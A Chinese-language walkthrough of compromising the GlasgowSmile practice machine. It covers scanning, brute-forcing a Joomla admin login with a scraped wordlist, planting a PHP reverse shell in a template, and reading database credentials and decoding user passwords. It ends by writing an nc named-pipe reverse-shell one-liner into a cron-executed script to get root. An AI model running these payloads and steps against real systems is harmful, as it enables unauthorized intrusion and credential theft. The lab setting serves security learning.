GlasgowSmile靶机复现
首先将靶机和kali设置到同一个网段内
靶机开机发现提供了ip
- 192.168.187.128
信息搜集
首先对此靶机ip进行一个简单探测发现只有两个开放的端口
80和22
nmap 192.168.187.128
首先选用80端口为突破口
拿到IP对其进行访问
- 得到此网站
对其网站进行一个目录扫描
dirsearch -u http://192.168.187.128
扫描结果发现有可利用信息
首先对这个网址进行了一个访问http://192.168.187.128/joomla/
查看其源码也并未发现什么有价值的东西
- 源码里有一个joker怀疑是一个用户名(但其实并不是)
然后运用扫描工具joomscan对该网站进行扫描
-
这里可以上午查一下joomla扫描器
-
这里kali有自带的
-
没有的话下载一个
apt install joomscan # 下载
joomscan # 进入此模块
joomscan -u http://192.168.187.128/joomla/ # 扫描该网站
扫描得到一个网址对其网站进行访问
-
此网页上面工具也有扫描得到,做此扫描为了拿到一些更详细的信息
-
发现为登录页面
这里我利用了cewl工具来爬取joomla
网站上的关键字做一个密码字典
cewl http://192.168.187.128/joomla > psl.txt
暂时这个网站登录的用户名也不清楚,下载的时候已知晓此靶机为一个ctf的
- 这里我上网查了一下joomla默认用户名
- 这里发现多个用户名
密码爆破
利用bp开始进行密码爆破,密码字典则运用刚刚在网页上爬取的
- 用户名则把刚刚查到的和上面网页中收集的都进行进行尝试一下
- 这里爆破出的用户名为
joomla
密码为Gotham
登录成功
进入之后选择模板这个
然后选择第一个点击beez3进入
发现可以上传文件
- 这里我是敲了两下空格进行了一下保存发现保存成功了
这里我选择了kali里面的一个php反弹shell
- 这里有两个方案
- 1.则是全部替换
- 2.只复制php代码,不负责开头
- 我这里选用了第二个只复制了php代码
cat /usr/share/webshells/php/php-reverse-shell.php
将复制的php代码随便找一一个空白行插入即可
这里的ip需修改为自己kali的IP即可
修改后的
然后在kali里打开nc监听端口
回到网站刷新一下
- 记得是
joomla
网址刷新一下,此时kali就会接收到
此时利用python中pty模块显示虚拟终端
- 成功进入
python -c 'import pty;pty.spawn("bin/bash")'
# 或运用下面这个也是可行的
/usr/bin/script -qc /bin/bash /dev/null
经过信息收集最终在/var/www/joomla2/configuration.php
目录下发现了一个配置文件里面有数据库的账户和密码信息
- 这里进行查看此文件
发现里面有数据库的账号和密码
拿到账号和密码
- 对其mysql进行登录
mysql -ujoomla -p
数据库登录成功
查看数据库
show databases;
最终发现里面有rob用户的信息,
-
这为什么直接查看rob的这个因为我查看了homle下有个用户一个就为rob
-
发现该加密方式为base64编码尝试对该密码进行解码
解密成功拿到一个密码???AllIHaveAreNegativeThoughts???
然后进行尝试ssh远程登录
发现登录成功
开始提权
- 测试发现有一个内核漏洞这是一个作弊的方式
- 可以去尝试一下
les.sh
通杀漏洞也是可以的
- 可以去尝试一下
这里我常规操作
首先进入home目录下
发现还有两个用户
首先进入rob里面查看有能否利用的信息
- 发现第一个文件里面有base64的密文——发现这个编码这个放进去是解密不出来东西的(不信的话可以去尝试一下)
- 经过词频分析发现为一个凯撒(ROT)加密的密文
这里首先进行词频分析
- 这里我将刚刚文件里的所有内容粘贴过来了
此时经过词频分析之后的base64编码拿去解码发现可以解码成功
- 发现为一个凯撒加密的密文
- 然后对其文件进行凯撒进行详细解码
- 为什么不直接运用词频分析出来的
- 因为词频分析为推测出的稳妥起见直接运用凯撒解码(ROT)
解密成功之后拿去base进行二次解密
解密出结果为I33hope99my0death000makes44more8cents00than0my0life0
拿到密码这里尝试登录abner
发现登录成功
查看此文件夹下的第一个文件
发现此文件相当于一个日志
这里发现此用户解压了一个文件
对其进行此文件进行查找一下
find / -name ".dear_penguins.zip" -type f 2>/dev/null
复制此文件到当前目录下
cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .
对其文件进行解压查看有能可利用信息
- 解压发现此文件解压需要密码则是刚刚上面解密出来的用户密码
- 发现成功解压了
unzip .dear_penguins.zip
查看此文件发现里面有一串密码推测为最后一个人的密码
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
尝试登录
- 登录成功
这里不用find
提权是因为find
这个属于此用户的提权也是提的自己权提不到root
这里我尝试的是运用进程方式提权
-
这里我运用了pspy64工具
- 因为此用户没有权限查看实时进程
-
下载链接
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
-
kali中输入
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
开始python80端口导入到靶机中去
将工具下载靶机中
这里给pspy64提一下权
chmod +x pspy64
运用此工具(此工具相当于一个进程管理器不许root权限)
./pspy64
发现此文件可以查看定时任务
-
如果运用
cat /etc/crontab
是没有权限的此文件为一个系统级别的,为了规范都写在里面而且cronta还有几个细分的文件夹,并非必须写在主文件夹里面
主文件夹可以理解为一个man的入口可以去调用其他的一些文件
标准的cronta里面都会加一条环境变量如果不加的话一些程序可能启动不了
这里通过监控进程发现他的进程任务
这里面发现一个/bin/sh -c /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
这个文件会定期执行
此文件则在下面目录下
发现此文件为一个有权限的/bin/sh
文件
- 这里只需要注入一条命令弹回一个shell就ok了
这里我运用了nc反弹rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.129 1234 >/tmp/f
- 编译此文件
将上面命令复制进去输入:wq
保存退出
- 这里注意不能在
exit 0
后面写东西如果写在后面就退出了
这是打开kali打开nc监听
-
然后靶机中运行pspy64
等到它执行完之后就会卡住
此时kali里的nc就会接收到反弹
接收回显成功
查看当前目录发现